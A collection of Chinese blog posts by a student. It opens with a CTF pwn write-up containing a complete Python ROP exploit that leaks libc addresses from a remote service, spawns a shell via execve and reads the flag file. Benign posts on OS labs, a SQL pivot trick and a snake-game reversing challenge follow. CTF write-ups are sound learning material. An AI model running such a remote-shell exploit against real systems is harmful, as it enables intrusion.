接下来就是一个困扰我好久的问题,这题的堆栈都是不可运行的,我们无法传入shellcode,而调用execve等系统调用需要知道其地址,而由于是nc过去的,不像之前做wargame的时候都是ssh上去,可以看到系统函数的地址。那么我们这里就要注意到,它给的文件中,除了主程序,还有一个libc.so,那么这里很明确,就是需要我们通过给的libc来计算出我们所需函数的地址(libc载入之后各函数的相对位置不变)。可是计算地址需要我们知道某一个libc中函数的地址,如何拿到一个函数的地址着实让我想了好久。

其实这个问题本身并不难,只是由于太习惯了做wargame时候那种SSH上去直接看的方式,所以思路没打开,其实我们很显然可以通过调用write函数来把某一个系统函数真正的地址输出除了,write函数由于它程序中使用了,所以GOT表中是由对应项的,我们可以很轻松的调用。

最后,当我们通过这样的方式输出并计算得到execve的函数地址之后,如果再次重新运行溢出其实还是会有问题的,这里就涉及到服务器端实现的方法了,服务器端应该是对于每一个请求,单独载入对应的libc运行程序,所以每一次请求的libc地址是会不同的,也就是说我们需要在一次请求中拿到地址,然后计算出execve地址后再调用,这很容易就会想到是在一轮函数调用之后,控制程序返回到整个程序的开头(栈的结构使得我们有一次机会可以控制我们溢出调用函数后返回的位置,这个在之前做wargame的时候就有过),然后开始全新的一轮,这样我们就有机会一次次的溢出,调用我们所需要的函数。其实这个方法也有个专门的名称,叫ROP(Return-oriented programming),我也是比完才知道……

至此,整个攻击流程已经清楚,下面是我比赛时的程序:

#!/usr/bin/env python
#encoding:utf-8

import socket
import binascii

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('218.2.197.248', 10001))
s.recv(100)

s.send("sycloverx00aaaaaaaxb4""aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb""xa0x83x04x08""xacx84x04x08""x01x00x00x00""x50x98x04x08""x04x00x00x00")
result = s.recv(100)
while result.find('slogan') == -1 or result.find('slogan') + 8 > len(result) - 4:
    result += s.recv(100)

print result
read_addr = binascii.hexlify(result[result.find('slogan') + 8:][:4][::-1])
print '0x%s' % read_addr

s.send("sycloverx00aaaaaaaxb4""aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb""xa0x83x04x08""xacx84x04x08""x01x00x00x00""x60x98x04x08""x04x00x00x00")
result = s.recv(100)
while result.find('slogan') == -1 or result.find('slogan') + 8 > len(result) - 4:
    result += s.recv(100)

print result
write_addr = binascii.hexlify(result[result.find('slogan') + 8:][:4][::-1])
print '0x%s' % write_addr

print hex(0xb8240 - 0xde3a0 + int(read_addr, 16))

s.send("sycloverx00aaaaaaaxb4""aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb""x60x83x04x08""xacx84x04x08""x00x00x00x00""x68x98x04x08""x08x00x00x00")
s.send("/bin/shx00")
while result.find('slogan') == -1:
    result += s.recv(100)

print result

s.send("sycloverx00aaaaaaaxb4""aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb""xa0x83x04x08""xacx84x04x08""x01x00x00x00""x68x98x04x08""x08x00x00x00")
result = s.recv(100)
while result.find('slogan') == -1 or result.find('slogan') + 8 > len(result) - 8:
    result += s.recv(100)

print result
print result[result.find('slogan') + 8:][:8]

s.send("sycloverx00aaaaaaaxb4""aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb" + binascii.unhexlify(hex(0x3f430 - 0xde3a0 + int(read_addr, 16))[2:])[::-1] + "xacx84x04x08""x68x98x04x08" + 'x00' * 8)

s.send('cat /home/pwn1/ffLLag_/flagn')
while True:
    print s.recv(100)

其中前两次溢出分别是取得read和write载入内存的真实地址(其实只要获取一个就好);第三次溢出是将/bin/sh这个字符串写入内存中一个固定位置,因为execve的参数中需要用,这里我是选择写在GOT表所在位置,因为可以肯定有写权限,不会崩;第四次溢出是输出看一下写入是否正确,可以不用;第五次溢出就是调用execve运行shell了。

不得不说,这题其实不难,思路很清楚,只是由于之前从没接触过这种形式的,所以浪费了不少时间……

pwn200.zip

说实在的,这次的lab写的确实有点迷迷糊糊,文件那块本来就分级比较复杂,涉及到从硬件到软件的整个过程,然后配上老师那坑爹的英语PPT,真是看的头都是大的。

这个系统都没有弄的特别清楚,自然做起lab来也就有会有点吃力,lab8相对于lab7新增的东西又太多,现在根本就没有时间慢慢看,只能做一步是一步的来。

然后说下这个lab,实验中要求填写的两个部分的代码,代码量相对于之前的lab,可以说是多了很多,exercise 1还好,毕竟涉及到的函数不多,主要是分块的判断,exercise 2就相对来说要麻烦许多,整个load_icode全部是空的,要将一个程序从文件中加载,然后按照格式解析,最后设置好各种乱七八糟的东西后使其运行起来。

不过其实,如果只是为了完成任务的话,这里完全可以从之前lab的load_icode函数中复制过来,然后进行修改,毕竟两个程序差别最大的地方仅仅只是lab8中需要从文件读入,那么我们就将之前lab中所有从的缓冲区binary中获取的信息相应的改为从文件中读取对应位置即可。最后,lab8中load_icode再多的一点改变就是需要给运行的程序传递参数了,那么我们可以仿照Linux下参数的传递格式将参数放在栈中,参数的格式玩了这么久的溢出,可以说是弄的相当清楚了,轻松搞定不成问题。

对比了下答案,发现我的代码还有问题,没有关文件,不过不得不说,如果不看答案,我肯定是想不到这点的,因为觉得开关文件都是在这个函数之外做的,毕竟传进来的参数是已经开好的文件。

至此,整个操作系统的实验也就算完成了,实验一路做下来,不得不承认收获确实不少,不过还是出于时间问题,有很多东西并没有弄的很清楚,challenge也还有很多没有做,如果有时间将来回来做一下其实也是不错的,不过感觉就以我这惰性估计难了……

最后,还是老规矩,附上lab8的实验报告和修改的代码。

lab8.zip

前天下午,为了满足PM的要求给做个View,真是写SQL写到要吐了,这大概是我至今为止写过的最恶心的SQL了,没有之一,可又有什么办法了,谁叫我们只是苦力

要求本来并不复杂,简单点说就是各种要实现类似按照日期统计每种状态的订单数量,本来按照日期和订单状态做个group by就好了的,然后得到结果格式如下:

日期 状态 数量
2014-12-31 state1 a
2014-12-31 state2 b
2014-12-30 state1 c
2014-12-30 state2 d

可是这下PM不满意了,非说看着不爽,要改成下面的格式:

日期 state1 state2
2014-12-31 a b
2014-12-30 c d

听到这要求我也是跪了,这尼玛真是让我把SQL当Excel来玩啊!!!

蛋疼完还是得想想到底怎么去做,首先印象中SQL里似乎没有什么函数可以统计某一字段为特定值的记录数,然后大概想了一下,脑子里只有一个想法,首先将各个状态的订单都分别select出来,然后各自按日期group并统计数量,这样就会每个状态得到一个表,最后把这些表join起来就得到了想要的效果。显然,虽然这样很麻烦,但是至少是可行的。

既然没有什么好的办法,那就硬着头皮做呗,然而好不容易让SQL跑起来得到预想的效果后,准备存成view的时候却又出现了问题。由于这样实现的时候,在from中会有子查询,然后尝试用Navicat存这样的view的时候,会得到如下的错误:

无奈之下,只得又手动将from中的select又一个个的存成view,然后最后通过将这些view join起来得到结果,这样总算是得到了一个可以使用的view。不过很显然,这样的view不仅写起来极度麻烦,而且效率很低,虽说现在数据量小,都是秒出,但是对于我这种强迫症而言,这简直就是不能接受。于是完成之后又思前想后,总算灵机一动,想到一个不错的解决方案。

首先,我们增加一个如下辅助的表:

然后,我们可以通过订单状态和这个表的id字段做连接,此时,当我们count(one)的时候,就会得到订单状态为1的记录数,因为count是不会将NULL的行算上的。类似的,我们需要状态为几的订单,就可以在这个辅助表中加上对应的记录即可,最终得到SQL形式如下:

1
2
3
4
SELECT `date`, COUNT(`one`) AS `state1`, COUNT(`two`) AS `state2`
FROM `order` JOIN `assistant` ON `order`.`state` = `assistant`.`id`
GROUP BY `date`
ORDER BY `date` DESC

通过这样一种方式,我们不仅极大的降低了SQL语句的复杂程度,更是使得运行效率得到了提升,毕竟和一个如此小的表做连接,代价是很低的。

一学期没听课,看到lab7的内容的时候,当时就跪了,信号量和管程完全就没听过,无奈之下只有先去看下PPT了。

看PPT的时候看的真的是头都是大的,进程同步与互斥果然是个要命的事,不过好在最终要补全的程序并不复杂。

不过比较蛋疼的是,这次的PDF也是忽悠的飞起,首先说是要改lab1-lab6的代码,可以到头来根本不用改,完全拷过来即可,然后号称make grade在填充完前面的lab之后并不能得满分,可实际是直接就满分了,于是乎为了测试最后完成lab7后哲学家问题是否正确了需要自己盯着make qemu的结果慢慢看……

这次的程序基本也没有什么坑,就是要分清楚信号量的signal和wait操作分别对应哪个函数。大概最难理解的地方就是哲学家问题的实现了,不过实际上其实就算不理解,直接翻译伪代码也可以做……

最后,还是老规矩,附上lab7的实验报告和修改的代码。

lab7.zip

好不容易挤出时间,总算是把lab6完成了,这个lab倒也不算难,不过坑倒是有不少。

首先是有个小坑,在初始化proc的时候,要将proc->run_link初始化为一个空链表,而不是NULL,虽然初始化为NULL可以过stride算法,但不知道为什么RR算法的时候,他非要assert是空链表才干……

不过前面那个坑都算是小的了,一查就知道了,后面的都是注释在坑。

首先是stride_dequeue里面,不知道是注释故意的,还是忘记了,没有写出要把rq的proc_num减下来,虽说这样对lab6的运行没有什么影响,但总归错了还是不好的。

然后不得不提的就是trap.c中时间中断的处理,注释里写着just add ONE or TWO lines of code,于是毫不犹豫的按其要求调用run_timer_list,结果在最后测试priority就惨死了。因为lab5遗留下来的部分,每个100 ticks都会将当前进程的need_resched设成1,放弃CPU,直接就影响了最后运行时间的测量,都不想说什么了。

最后可能需要注意的就是,可能在lab6要求修改的代码全部改好之后,还是会过不了,看下priority.c的代码便会发现,很可能是精度导致的,我们只需要将priority.c中的MAX_TIME改大,使其运行足够长的时间即可。

然后还是老规矩,附上lab6的实验报告和修改的代码。

lab6.zip

似乎每次比赛都会有一道游戏题,这次SCTF的游戏题就是这道了,话说着实没想明白为什么这题算是Misc……

题目描述就一句话:

简单的贪吃蛇,吃到30分它就告诉你flag!但是要怎么控制它呢?

首先将程序download下来,是一个后缀名为exe的程序,果断就给扔XP虚拟机里了,一运行就看到一个控制台窗口上一个光标跳来跳去,完全看不懂,说好的贪吃蛇呢……

然后往IDA里面扔的时候,却被自动识别为类型为ELF,当时就惊呆了……

然后放Unbuntu里跑,总算是正常看到了贪吃蛇,不过果不其然不知道怎么能够控制。

然后就只能规规矩矩看程序了,很明显程序是加了个UPX的壳(PEiD查的),于是马上aptget了一个upx,然后upx -d搞定。

看程序的时候,从start一路跟下去,会发现程序进到了如下一段代码中:

.text:08048C40
.text:08048C40 ; Segment type: Pure code
.text:08048C40 ; Segment permissions: Read/Execute
.text:08048C40 _text segment para public 'CODE' use32
.text:08048C40 assume cs:_text
.text:08048C40 ;org 8048C40h
.text:08048C40 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.text:08048C40
.text:08048C40
.text:08048C40 ; Attributes: noreturn bp-based frame
.text:08048C40
.text:08048C40 sub_8048C40 proc near
.text:08048C40 lea     ecx, [esp+4]
.text:08048C44 and     esp, 0FFFFFFF0h
.text:08048C47 push    dword ptr [ecx-4]
.text:08048C4A push    ebp
.text:08048C4B mov     ebp, esp
.text:08048C4D push    ecx
.text:08048C4E sub     esp, 4
.text:08048C51 call    _initscr
.text:08048C56 call    sub_8048EA0
.text:08048C5B sub     esp, 8
.text:08048C5E push    offset handler  ; handler
.text:08048C63 push    0Eh             ; sig
.text:08048C65 call    _signal
.text:08048C6A pop     eax
.text:08048C6B pop     edx
.text:08048C6C push    offset sub_8048E10 ; handler
.text:08048C71 push    38h             ; sig
.text:08048C73 call    _signal
.text:08048C78 pop     ecx
.text:08048C79 pop     eax
.text:08048C7A push    offset sub_8048E70 ; handler
.text:08048C7F push    32h             ; sig
.text:08048C81 call    _signal
.text:08048C86 pop     eax
.text:08048C87 pop     edx
.text:08048C88 push    offset nullsub_1 ; handler
.text:08048C8D push    5               ; sig
.text:08048C8F call    _signal
.text:08048C94 pop     ecx
.text:08048C95 pop     eax
.text:08048C96 push    offset sub_8048E10 ; handler
.text:08048C9B push    0Ah             ; sig
.text:08048C9D call    _signal
.text:08048CA2 pop     eax
.text:08048CA3 pop     edx
.text:08048CA4 push    offset sub_8048E70 ; handler
.text:08048CA9 push    0Ch             ; sig
.text:08048CAB call    _signal
.text:08048CB0 pop     ecx
.text:08048CB1 pop     eax
.text:08048CB2 push    offset sub_8048DE0 ; handler
.text:08048CB7 push    34h             ; sig
.text:08048CB9 call    _signal
.text:08048CBE pop     eax
.text:08048CBF pop     edx
.text:08048CC0 push    offset sub_8048E40 ; handler
.text:08048CC5 push    36h             ; sig
.text:08048CC7 call    _signal
.text:08048CCC add     esp, 10h
.text:08048CCF call    sub_80492C0
.text:08048CCF sub_8048C40 endp
.text:08048CCF

可以看到基本都是在发信号来完成整个程序,那么程序的关键肯定就在信号处理函数上,然后再看32h,34h,36h,38h这些数字很奇怪,正好就是2、4、6、8的ASCII码,这让我们不禁想到了程序运行时屏幕上的那句话:

 UP----'8'   DOWN----'2'   LEFT----'4'     RIGHT----'6'

然后我们尝试手动发下信号,很容易便会发现,我们的猜想是正确的,这4个信号正好对应着4个方向。

然后接下来的事就可以很简单了,写个程序,将方向键换成发这4个信号,然后玩游戏就好,玩到30之后,就会获得flag的base64编码的值,解码即可。

最后玩游戏这步是队友做的,程序如下:

#include <stdio.h>
#include <termios.h>
#include <term.h>
#include <curses.h>
#include <unistd.h>
#include <sys/types.h>  
#include <stdlib.h>  
#include <signal.h> 

static struct termios initial_settings, new_settings;
static int peek_character = -1;
void init_keyboard();
void close_keyboard();
int kbhit();
int readch();

int main( int argc, char *argv[])
{
    int ch = 0;
    
    init_keyboard();
    pid_t pid;  
    pid = atoi(argv[1]);   //先运行snake,然后获得进程pid,作为参数传进来
    //printf(pid);
    while(ch != 'q') {		//w,a,s,d经典上下左右按键
        if(kbhit()) {
            ch = readch();
            switch (ch) {
            	case 'w':
            		kill(pid, 56); 
            		break; 
            	case 'a':
            		kill(pid, 52);  
            		break; 
            	case 's':
            		kill(pid, 50);  
            		break; 
            	case 'd':
            		kill(pid, 54); 
            		break; 
            }
        }
    } 
    close_keyboard();
    exit(0);
}

void init_keyboard()
{
    tcgetattr(0,&initial_settings);
    new_settings = initial_settings;
    new_settings.c_lflag &= ~ICANON;
    new_settings.c_lflag &= ~ECHO;
    new_settings.c_lflag &= ~ISIG;
    new_settings.c_cc[VMIN] = 1;
    new_settings.c_cc[VTIME] = 0;
    tcsetattr(0, TCSANOW, &new_settings);
}

void close_keyboard()
{
    tcsetattr(0, TCSANOW, &initial_settings);
}

int kbhit()
{
    char ch;
    int nread;
    if(peek_character != -1)
        return 1;
    new_settings.c_cc[VMIN]=0;
    tcsetattr(0, TCSANOW, &new_settings);
    nread = read(0,&ch,1);
    new_settings.c_cc[VMIN]=1;
    tcsetattr(0, TCSANOW, &new_settings);
	if(nread == 1) {
    	  peek_character = ch;
    	  return 1;
	}
	return 0;
}

int readch()
{
    char ch;
    if(peek_character != -1) {
        ch = peek_character;
        peek_character = -1;
        return ch;
    }
    read(0,&ch,1);
    return ch;
}

我最开始是为了方便,想写个shell的脚本来做的,结果在网上各种搜不到,搜到的唯一一个还用不起来,我也是醉了……最后实现的是一个需要每次输入之后回车的,然后就感觉蛇跑太快了,玩不过去,于是就先放着给队友了……

其实当时还想过打补丁、改内存神马的方式来弄的,不过在Linux也不太会弄,然后就放弃了……

最后比赛结束后才想起来,可以把命令行的窗口拉大,这样游戏范围就变大了,这样就算是每次输入后回车也毫无压力玩过了,瞬间感觉自己当时好脑残……

按说这道题是可以完全靠逆向做出来,不用玩游戏的,不过自己水平不济,连程序整体都没大看明白,就更别谈那个复杂的要死的给答案的部分了。

snake.zip